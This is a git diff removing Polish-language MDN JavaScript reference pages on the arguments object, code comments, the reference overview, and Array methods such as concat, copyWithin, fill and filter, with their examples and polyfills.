Oprócz dostępności jako zmienna lokalna, obiekt arguments jest również własnością obiektu Function i może być poprzedzony nazwą funkcji. Na przykład, jeżeli do funkcji myFunc są przekazywane trzy argumenty o nazwie arg1, arg2, i arg3, można odwołać się do tych argumentów następująco: -

-
myFunc.arguments[0]
-myFunc.arguments[1]
-myFunc.arguments[2]
-
-

JavaScript 1.1 i 1.2

-

Następujące cechy dostępne w JavaScripcie 1.1 i JavaScripcie 1.2 zostały usunięte: -

- - -

Przykłady

-

Przykład: Definiowanie funkcji łączącej łańcuchy znaków

-

Ten przykład definiuje funkcję łączącą kilka łańcuchów znaków. Jedynym formalnym argumentem tej funkcji jest łańcuch znaków, który określa znaki oddzielające poszczególne łączone elementy. Funkcja jest zdefiniowana następująco: -

-
function myConcat(separator) {
-   result = ""; // inicjalizacja listy
-   // iteracja pomiędzy argumentami
-   for (var i = 1; i < arguments.length; i++) {
-      result += arguments[i] + separator;
-   }
-   return result;
-}
-
-

Możesz przesłać dowolną liczbę argumentów do tej funkcji, tworząc na ich bazie listę. -

-
// zwraca "czerwony, pomaranczowy, niebieski, "
-myConcat(", ", "czerwony", "pomaranczowy", "niebieski");
-
-// zwraca "slon; zyrafa; lew; gepard; "
-myConcat("; ", "slon", "zyrafa", "lew", "gepard");
-
-// zwraca "szalwia. bazylia. oregano. pieprz. pietruszka. "
-myConcat(". ", "szalwia", "bazylia", "oregano", "pieprz", "pietruszka");
-
-

Przykład: Definiowanie funkcji, która tworzy listę HTML

-

Ten przykład definiuje funkcję, która tworzy łańcuch znaków reprezentujący kod HTML listy. Jedynym argumentem formalnym tej funkcji jest ciąg znaków, który przyjmuje wartość "u" dla listy nieuporządkowanej, lub "o" w przypadku listy uporządkowanej. Funkcja ta jest zdefiniowana następująco: -

-
function list(type) {
-  var result = "<" + type + "l>";
-
-  // iteracja pomiędzy argumentami
-  for (var i = 1; i < arguments.length; i++)
-    result += "<li>" + arguments[i] + "</li>";
-
-  result += "</" + type + "l>"; // koniec listy
-
-  return result;
-}
-
-

Możesz przekazać funkcji dowolną liczbę argumentów, a ona doda każdy z nich jako kolejną pozycję na liście o wskazanym typie. Przykładowo następujące wywołanie funkcji: -

-
var listHTML = list("u", "Raz", "Dwa", "Trzy");
-// listHTML zawiera łańcuch "<ul><li>Raz</li><li>Dwa</li><li>Trzy</li></ul>"
-
-


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments" } ) }} diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html deleted file mode 100644 index 79d54a4f50..0000000000 --- a/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: length -slug: Web/JavaScript/Referencje/Funkcje/arguments/length -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Functions/arguments/length ---- -

-

-

Podsumowanie

-

Określa liczbę argumentów przekazywanych do funkcji. -

- - - - - - - - - - - - -
Własność obiektów arguments i Function.arguments (wycofywana)
Zaimplementowana w:JavaScript 1.1 -

JavaScript 1.4: Przenaczono do wycofania length jako własność Function.arguments, zachowano ją natomiast jako własność zmiennej lokalnej arguments funkcji. -

-
Wersja ECMA:ECMA-262
-

Opis

-

length jest własnością zmiennej lokalnej arguments dostępnej wewnątrz wszystkich obiektów funkcji; length jako własność Function.arguments nie jest już używana (również sam obiekt Function.arguments jest wycofywany). -

arguments.length dostarcza liczbę argumentów przekazywanych obecnie funkcji. Dla porównania, własność Function.length wskazuje ilość argumentów oczekiwanych przez funkcję. -

-

Przykłady

-

Przykład: Zastosowanie Function.length i arguments.length

-

Następujący przykład przedstawia zastosowanie Function.length i arguments.length. -

-
function addNumbers(x,y){
-   if (arguments.length == addNumbers.length) {
-      return (x+y)
-   }
-   else return 0
-}
-
-

Jeśli podano więcej niż dwa argumenty funkcji, zostanie zwrócona wartość 0: -

-
result=addNumbers(3,4,5)   // zwraca 0
-result=addNumbers(3,4)     // zwraca 7
-result=addNumbers(103,104) // zwraca 207
-
-

Zobacz także

-

Function.length -


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/length", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/length", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/length" } ) }} diff --git a/files/pl/web/javascript/referencje/index.html b/files/pl/web/javascript/referencje/index.html deleted file mode 100644 index e493d4ad80..0000000000 --- a/files/pl/web/javascript/referencje/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Dokumentacja referencyjna JavaScript -slug: Web/JavaScript/Referencje -tags: - - AJAX - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference ---- -

{{JsSidebar}}

- -

Ta część rozdziału JavaScript na MDN służy jako repozytorium faktów dotyczących jezyka JavaScript. Więcej na ten temat na stronie O dokumentacji referencyjnej.
-  

- -

Obiekty globalne

- -

W tym rozdziale udokumentowano wszystkie standardowe wbudowane obiekty JavaScript, wraz z ich metodami i właściwościami.
-  

- -

{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects', 'Standard_objects_by_category')}}

- -

Instrukcje

- -

Rozdział ten dokumentuje wszystkie  deklaracje i instrukcje JavaScript.

- -

{{page('/en-US/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}

- -

 

- -

Wyrażenia i operatory

- -

Udokumentowano tu wszystkie wyrażenie i operatory JavaScript.

- -

{{page('/en-US/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}

- -

 

- -

Funkcje

- -

W tym rozdziale opisano pracę z funkcjami JavaScript przy tworzeniu aplikacji.

- - - -

 

- -

Dodatkowe strony z informacjami

- - - -

 

- -

 

- -

 

- -

 

- -

 

diff --git a/files/pl/web/javascript/referencje/komentarz/index.html b/files/pl/web/javascript/referencje/komentarz/index.html deleted file mode 100644 index ad8e73f32c..0000000000 --- a/files/pl/web/javascript/referencje/komentarz/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Komentarz -slug: Web/JavaScript/Referencje/Komentarz -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Lexical_grammar#Comments -translation_of_original: Web/JavaScript/Reference/Code_comments ---- -

 

-

Podsumowanie

-

Uwagi od programisty wyjaśniające działanie kodu. Komentarze są ignorowane przez interpreter.

- - - - - - - - - - - - - - -
Komentarze
Zaimplementowane w:JavaScript 1.0, NES2.0
Wersja ECMA:ECMA-262
-

Składnia

-

// tekst komentarza

-

/* wieloliniowy tekst komentarza */

-

Opis

-

JavaScript obsługuje komentarze w stylu Javy:

- -

Przykłady

-

Przykład: Komentarz jednoliniowy

-
// To jest komentarz jednoliniowy.
-var intAge = 37; //To jest inny komentarz
-
-

Przykład: Komentarz wieloliniowy

-
/* To jest komentarz wieloliniowy.
-   Może być dowolnie długi i zawierać dowolne znaki,
-   za wyjątkiem innych komentarzy wieloliniowych. */
-
-

 

-
-  
-

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Comments/comment", "es": "es/Referencia_de_JavaScript_1.5/Comentarios/comentario", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Commentaires", "ja": "ja/Core_JavaScript_1.5_Reference/Comments/comment" } ) }}

diff --git a/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html b/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html deleted file mode 100644 index a16cf69e3d..0000000000 --- a/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: O dokumentacji referencyjnej -slug: Web/JavaScript/Referencje/O_tym_dokumencie -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - Informator - - JavaScript - - Referencje - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/About ---- -

{{JsSidebar}}

- -

Dokumentacja referencyjna JavaScript służy jako repozytorium faktów w zakresie języka JavaScript. Tutaj opisany jest szczegółowo cały język. Podczas pisania kodu JavaScript, będziesz często zaglądać na te strony, stąd nazwa tej części dokumentacji (dokumentacja referencyjna). Jeśli uczysz się dopiero JavaScript lub potrzebujesz wyjaśnień na temat jakichś możliwości lub funkcjonalności, sprawdz nasz podręcznik JavaScript.

- -

Język JavaScript jest przeznaczony do użycia w szerokim środowisku, zarówno w przeglądarce internetowej, aplikacjach na urządzenia mobilne jak i skryptach działających po stronie serwera. Przeważająca część informacji, zawarta w naszym dokumentacji referencyjnej, ma charakters agnostyczny i nie dotyczy środowiska przeglądarki.

- -

Gdzie znaleźć informacje o JavaScript

- -

Nasza dokumentacja rdzennych funkcjonalności JavaScript (w przeważającej części czysty ECMAScript) obejmuje

- - - -

Jeśli jesteś początkującym w JavaScript, rozpocznij od lektury podręcznika. Gdy już będziesz zrozumiesz podstawy, możesz zająć się referencjami, aby uzyskać wiedzę na temat poszczególnych obiektów i konstrukcji językowych.

- -

Struktura dokumentacji referencyjnej

- -

W dokumentacji referencyjnej znajdują się następujące rozdziały:

- -
-
Obiekty
-
W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.
-
Polecenia i deklaracje
-
JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.
-
Operatory i wyrażenia
-
This chapter documents all the JavaScript language operators, expressions and keywords.
-
Funkcje
-
Chapter about JavaScript functions.
-
Klasy
-
Chapter about JavaScript classes introduced in ECMAScript 2015.
-
Błędy
-
Chapter about specific errors, exceptions and warnings thrown by JavaScript.
-
Nowości w JavaScript
-
Chapter about JavaScript version history.
-
- -

Więcej odnośnych stron

- - diff --git a/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html b/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html deleted file mode 100644 index 3dbff8627a..0000000000 --- a/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Konwencje formatowania tekstu -slug: Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Aplikacje w języku JavaScript działają na różnych systemach operacyjnych; informacje zawarte w tym dokumencie dotyczą wszystkich wersji. Nazwy plików i katalogów podawane są w stylu Windows (tzn. do rozdzielania katalogów stosowane są wsteczne ukośniki). Dla wersji Unix ścieżki są takie same, należy tylko zamienić ukośniki wsteczne na ukośniki zwykłe.

-

W dokumencie tym uniwersalne lokalizatory zasobów (adresy URL) podawane są w postaci:

-

http://serwer.domena/ścieżka/plik.html

-

W tych adresach URL:

- -

Ogólnie rzecz biorąc, elementy pochylone w adresach URL są placeholderami, a elementy w normalnej czcionce o stałej szerokości - literałami.

-

W dokumencie tym stosowane są następujące konwencje dotyczące czcionek:

- - - diff --git a/files/pl/web/javascript/referencje/obiekty/array/concat/index.html b/files/pl/web/javascript/referencje/obiekty/array/concat/index.html deleted file mode 100644 index 014219e1d9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/concat/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Array.prototype.concat() -slug: Web/JavaScript/Referencje/Obiekty/Array/concat -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

Zwraca nową tablicę złożoną z tablicy, na której wywołano tę metodę, połączonej z innymi podanymi tablicami lub wartościami.

- -

Składnia

- -
var new_array = old_array.concat(wartość1[, wartość2[, ...[, wartośćN]]])
- -

Parametry

- -
-
wartość - N -  
-
Tablice lub wartości do dołączenia do tablicy, na której wywołana została metoda concat.
-
- -

Opis

- -

concat nie zmienia oryginalnej tablicy, lecz zwraca jej kopię "o jednym poziomie głębokości" zawierającą te same elementy wspólne co pierwotna tablica. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:

- - - - - -

Operacje wykonywane na nowej tablicy nie wpłyną w żaden sposób na oryginalną tablicę i na odwrót.

- -

Przykłady

- -

Przykład: Połączenie dwóch tablic

- -

Następujący kod łączy dwie tablice:

- -
alpha = new Array("a", "b", "c");
-numeric = new Array(1, 2, 3);
-alphaNumeric = alpha.concat(numeric); // tworzy tablicę ["a", "b", "c", 1, 2, 3]
-
- -

Przykład: Połączenie trzech tablic

- -

Następujący kod łączy trzy tablice:

- -
num1 = [1, 2, 3];
-num2 = [4, 5, 6];
-num3 = [7, 8, 9];
-nums = num1.concat(num2,num3) // tworzy tablicę [1, 2, 3, 4, 5, 6, 7, 8, 9]
-
- -

Przykład: Połączenie wartości z tablicą

- -

Następujący kod łączy trzy wartości z tablicą:

- -
alpha = ['a', 'b', 'c'];
-alphaNumeric = alpha.concat(1, 2, 3); // tworzy tablicę ["a", "b", "c", 1, 2, 3]
-
diff --git a/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html b/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html deleted file mode 100644 index 1a1917eabd..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Array.prototype.copyWithin() -slug: Web/JavaScript/Referencje/Obiekty/Array/copyWithin -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Metodă - - Peototyp - - Prototype - - Reference - - Referencja - - Tablica - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin ---- -
{{JSRef}}
- -

Metoda copyWithin() tworzy kopie płytkie części tablicy w innej części tej samej tablicy i zwraca tę tablicę bez modyfikowania jej długości.

- -
{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}
- - - -

Składnia

- -
arr.copyWithin(cel[, start[, koniec]])
-
- -

Parametry

- -
-
cel
-
Indeks (liczony od zera), do którego ma zostać skopiowana sekwencja. Jeśli wartość target będzie ujemna, pozycja będzie liczona od końca tablicy.
-
Jeśli cel jest większy lub równy arr.length, nic nie zostanie skopiowane. Jeśli wartość cel będzie większa niż start, kopiowana sekwencja zostanie przycięta tak, aby pasować do arr.length.
-
start {{optional_inline}}
-
Indeks (liczony od zera), określający pozycję początkową sekwencji, która ma zostać skopiowana. Jeśli wartość ta będzie ujemna, start będzie liczony od końca tablicy.
-
Jeśli wartość start nie jest podana, copyWithin skopiuje sekwencję zaczynając od indeksu 0
-
koniec {{optional_inline}}
-
Indeks (liczony od zera), określający pozycję końcową sekwencji, która ma zostać skopiowana, z wyłączeniem wartości pod indeksem koniec. Jeśli wartość ta będzie ujemna, koniec będzie liczony od końca tablicy.
-
Jeśli wartość koniec nie jest podana, copyWithin skopiuje sekwencję do ostatniego indeksu (domyślnie do arr.length).
-
- -

Zwracana wartość

- -

Zmodyfikowana tablica.

- -

Opis

- -

Metoda copyWithin działa jak memmove w C/C++ i jest wysokowydajną metodą przesuwania wartości w obiektach {{jsxref("Array")}}. Dotyczy to szczególnie metody o tej samej nazwie {{jsxref("TypedArray/copyWithin", "TypedArray")}}. Sekwencja jest kopiowana i wklejana w jednej operacji, a wklejona sekwencja będzie zawierać skopiowane wartości nawet wtedy, gdy zakres żródłowy (kopiowania) i docelowy (wklejania) nakładają się na siebie.

- -

Funkcja copyWithin jest celowo ogólna, nie wymaga, by jej wartość this była obiektem typu {{jsxref("Array")}}.

- -

Metoda copyWithin jest modyfikowalna. Nie zmienia długości this, ale zmienia zawartość this i tworzy nowe własności, jeśli jest to konieczne.

- -

Polyfill

- -
if (!Array.prototype.copyWithin) {
-  Object.defineProperty(Array.prototype, 'copyWithin', {
-    value: function(target, start/*, end*/) {
-    // Kroki 1-2.
-    if (this == null) {
-      throw new TypeError('this is null or not defined');
-    }
-
-    var O = Object(this);
-
-    // Kroki 3-5.
-    var len = O.length >>> 0;
-
-    // Kroki 6-8.
-    var relativeTarget = target >> 0;
-
-    var to = relativeTarget < 0 ?
-      Math.max(len + relativeTarget, 0) :
-      Math.min(relativeTarget, len);
-
-    // Kroki 9-11.
-    var relativeStart = start >> 0;
-
-    var from = relativeStart < 0 ?
-      Math.max(len + relativeStart, 0) :
-      Math.min(relativeStart, len);
-
-    // Kroki 12-14.
-    var end = arguments[2];
-    var relativeEnd = end === undefined ? len : end >> 0;
-
-    var final = relativeEnd < 0 ?
-      Math.max(len + relativeEnd, 0) :
-      Math.min(relativeEnd, len);
-
-    // Krok 15.
-    var count = Math.min(final - from, len - to);
-
-    // Kroki 16-17.
-    var direction = 1;
-
-    if (from < to && to < (from + count)) {
-      direction = -1;
-      from += count - 1;
-      to += count - 1;
-    }
-
-    // Krok 18.
-    while (count > 0) {
-      if (from in O) {
-        O[to] = O[from];
-      } else {
-        delete O[to];
-      }
-
-      from += direction;
-      to += direction;
-      count--;
-    }
-
-    // Krok 19.
-    return O;
-  },
-  configurable: true,
-  writable: true
-  });
-}
- -

Przykłady

- -

Użycie copyWithin

- -
[1, 2, 3, 4, 5].copyWithin(-2)
-// [1, 2, 3, 1, 2]
-
-[1, 2, 3, 4, 5].copyWithin(0, 3)
-// [4, 5, 3, 4, 5]
-
-[1, 2, 3, 4, 5].copyWithin(0, 3, 4)
-// [4, 2, 3, 4, 5]
-
-[1, 2, 3, 4, 5].copyWithin(-2, -3, -1)
-// [1, 2, 3, 3, 4]
-
-[].copyWithin.call({długość: 5, 3: 1}, 0, 3)
-// {0: 1, 3: 1, długość: 5}
-
-// ES2015 Typowane tablice są podklasami zwykłej tablicy (Array)
-var i32a = new Int32Array([1, 2, 3, 4, 5])
-
-i32a.copyWithin(0, 2)
-// Int32Array [3, 4, 5, 4, 5]
-
-// Na platformach niewspierających jeszcze ES 2015:
-[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
-// Int32Array [4, 2, 3, 4, 5]
-
- -

Specyfikacje

- - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}
- -

Wsparcie przeglądarek

- -
- - -

{{Compat("javascript.builtins.Array.copyWithin")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/entries/index.html b/files/pl/web/javascript/referencje/obiekty/array/entries/index.html deleted file mode 100644 index 6ff83958f4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/entries/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Array.prototype.entries() -slug: Web/JavaScript/Referencje/Obiekty/Array/entries -translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries ---- -
{{JSRef}}
- -

Metoda entries() zwraca obiekt Iteratora który zawiera parę klucz/wartość dla każdej pozycji w tablicy.

- -
{{EmbedInteractiveExample("pages/js/array-entries.html")}}
- - - -

Składnia

- -
a.entries()
- -

Zwracana wartość

- -

Nowy iterator {{jsxref("Tablicy")}}.

- -

Przykłady

- -

Użycie w pętli for…of

- -
var a = ['a', 'b', 'c'];
-var iterator = a.entries();
-
-for (let e of iterator) {
-  console.log(e);
-}
-// [0, 'a']
-// [1, 'b']
-// [2, 'c']
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność w przeglądarkach

- -
- - -

{{Compat("javascript.builtins.Array.entries")}}

-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/every/index.html b/files/pl/web/javascript/referencje/obiekty/array/every/index.html deleted file mode 100644 index 4b6cb612a2..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/every/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Array.prototype.every() -slug: Web/JavaScript/Referencje/Obiekty/Array/every -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/every ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

Metoda  every() sprawdza, czy wszystkie elementy w tablicy przechodzą test zrealizowany w postaci dostarczonej funkcji.

- -

Składnia

- -
arr.every(callback[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja sprawdzająca dla każdego elementu. Zawiera trzy argumenty.
- currentValue
-   
Bieżący element przetwarzany w tablicy
-
       index
-
-

     Indeks bieżacego elementu przetwarzanego w tablicy

- -

 array
-     Tablica na której została wywołana funkcja

-
-
thisObject
-
Opcjonalnie. Obiekt, na który będzie wskazywał this, gdy wykonana zostanie funkcja zwrotna callback
-
- -

Opis

- -

Metoda every wykonuje dostarczoną funkcję callback raz dla każdego elementu tablicy do momentu, kiedy znajdzie taki element, dla którego funkcja callback zwróci wartość false. Jeżeli taki element zostanie znaleziony, test zostanie przerwany, a metoda every zwróci wartość false. W przeciwnym wypadku (callback zwraca wartość true dla wszystkich elementów) every zwróci true. Funkcja callback wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.

- -

Funkcja callback jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.

- -

Jeśli parametr thisObject został dostarczony do metody every, będzie on wskazywany przez this dla każdego wywołania funkcji callback. W przypadku, gdy nie został on przekazany lub jego wartość jest równa null, this będzie się odnosić do obiektu globalnego połączonego z funkcją callback.

- -

Metoda every nie modyfikuje tablicy, na której jest wywoływana.

- -

Zakres elementów przetwarzanych przez every jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy dołączone do tablicy po momencie wywołania every są testowane przez callback. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji callback odpowiada wartości w momencie, w którym every się o nie zwróci; metoda every nie upomina się o elementy usunięte.

- -

Kompatybilność

- -

every jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie every w implementacji ECMA-262, które nie wspierają tego natywnie.

- -
if (!Array.prototype.every)
-{
-  Array.prototype.every = function(fun /*, thisp*/)
-  {
-    var len = this.length;
-    if (typeof fun != "function")
-      throw new TypeError();
-
-    var thisp = arguments[1];
-    for (var i = 0; i < len; i++)
-    {
-      if (i in this &&
-          !fun.call(thisp, this[i], i, this))
-        return false;
-    }
-
-    return true;
-  };
-}
-
- -

Przykłady

- -

Przykład: Sprawdzanie rozmiaru wszystkich elementów tablicy

- -

Następujący przykład sprawdza, czy wszystkie elementy w tablicy są większe niż 10.

- -
function isBigEnough(element, index, array) {
-  return (element >= 10);
-}
-passed = [12, 5, 8, 130, 44].every(isBigEnough);
-// fałsz
-passed = [12, 54, 18, 130, 44].every(isBigEnough);
-// prawda
-
diff --git a/files/pl/web/javascript/referencje/obiekty/array/fill/index.html b/files/pl/web/javascript/referencje/obiekty/array/fill/index.html deleted file mode 100644 index 1ab2ef4719..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/fill/index.html +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: Array.prototype.fill() -slug: Web/JavaScript/Referencje/Obiekty/Array/fill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill ---- -
{{JSRef}}
- -

Metoda fill() uzupełnia wszystkie elementy tablicy, zaczynając od indeksu początkowego  (start) aż po indeks końcowy (end) statyczną wartością (value).

- -

{{EmbedInteractiveExample("pages/js/array-fill.html")}}
- Źródło tego przykładu jest przechowywane w repozytorium na GitHub. Jeśli chciałbyś dodać coś od siebie do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples  i wyślij pull request.

- -

Składnia

- -
arr.fill(value[, start = 0[, end = this.length]])
- -

Parametry

- -
-
value
-
Wartość, którą wypełniana będzie tablica.
-
start
-
Opcjonalnie. Indeks początkowy.
-
end
-
Opcjonalnie. Indeks końcowy.
-
-

Wartość zwracana

- -

Zmodyfikowana tablica.

-
-
- -

Opis

- -

Przedział elementów do wypełnienia to: [start, end).

- -

Metoda fill przyjmuje do trzech parametrów value, start i end. Argumenty start i end są opcjonalne i przyjmują, odpowiednio,  0 i długość (length) obiektu this.

- -

Jeżeli parametr start jest ujemny, jest to traktowane jako length+start gdzie length jest liczbą elementów tablicy. Jeżeli parametr end jest negatywny, jest to traktowane jako length+end

- -

Funkcja fill została świdomie zaprojektowana jako generyczna, przez co nie wymaga, by wartość this była obiektem typu Array.

- -

Metoda fill jest zmienna (ang. mutalbe), metoda ta nie zwraca kopii this, a oryginalny obiekt po modyfikacjach.

- -

Przykłady

- -
[1, 2, 3].fill(4);               // [4, 4, 4]
-[1, 2, 3].fill(4, 1);            // [1, 4, 4]
-[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
-[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
-[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
-[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
-[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
-//Obiekty przez referencję
-var arr = Array(3).fill({}) // [{}, {}, {}];
-arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
-
- -

 

- -

 

- -

Polyfill

- -
if (!Array.prototype.fill) {
-  Array.prototype.fill = function(value) {
-
-    // Steps 1-2.
-    if (this == null) {
-      throw new TypeError('this is null or not defined');
-    }
-
-    var O = Object(this);
-
-    // Steps 3-5.
-    var len = O.length >>> 0;
-
-    // Steps 6-7.
-    var start = arguments[1];
-    var relativeStart = start >> 0;
-
-    // Step 8.
-    var k = relativeStart < 0 ?
-      Math.max(len + relativeStart, 0) :
-      Math.min(relativeStart, len);
-
-    // Steps 9-10.
-    var end = arguments[2];
-    var relativeEnd = end === undefined ?
-      len : end >> 0;
-
-    // Step 11.
-    var final = relativeEnd < 0 ?
-      Math.max(len + relativeEnd, 0) :
-      Math.min(relativeEnd, len);
-
-    // Step 12.
-    while (k < final) {
-      O[k] = value;
-      k++;
-    }
-
-    // Step 13.
-    return O;
-  };
-}
-
- -

Specyfikacja

- - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES6', '#sec-array.prototype.fill', 'Array.prototype.fill')}}{{Spec2('ES6')}}Definicja początkowa
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FunckjonalnośćChromeFirefox (Gecko)Internet ExplorerOperaSafari
Wsparcie podstawowe{{CompatChrome("36")}} [1]{{CompatGeckoDesktop("31")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("7.1")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Wsparcie podstawowe{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("31")}}{{CompatNo}}{{CompatNo}}8.0
-
- -

[1] The feature is available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/filter/index.html b/files/pl/web/javascript/referencje/obiekty/array/filter/index.html deleted file mode 100644 index 4b18a34c9c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/filter/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: Array.prototype.filter() -slug: Web/JavaScript/Referencje/Obiekty/Array/filter -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter ---- -
{{JSRef}}
- -

Metoda filter() tworzy nową tablicę z wszystkimi elementami, które przechodzą test określony w postaci funkcji.

- -
function isBigEnough(value) {
-  return value >= 10;
-}
-
-var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
-// filtered is [12, 130, 44]
-
- -

Składnia

- -
var newArray = arr.filter(callback(element[, index[, array]])[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja sprawdzająca każdy element tablicy. Funkcja powinna zwrócić true, aby zatrzymać element lub false, aby odrzucić element. Funkcja przyjmuje trzy argumenty:
-
-
-
element
-
Element tablicy do przetworzenia.
-
index
-
Numer indeksu procesowanego elementu tablicy.
-
array
-
Tablica na której filter został wywołany.
-
-
-
thisArg
-
Obiekt na który będzie wskazywał this, przy wywoływaniu funkcji callback.
-
- -

Opis

- -

Metoda filter wykonuje dostarczoną funkcję callback dla każdego elementu tablicy, tworząc nową tablicę z wszystkich tych elementów, dla których funkcja callback zwróciła wartość true. Wynikowa tablica jest zwarta; wartości, które nie przechodzą testu funkcji callback, są zwyczajnie pomijane i nie są przypisywane do indeksów nowej tablicy.

- -

Funkcja callback jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.

- -

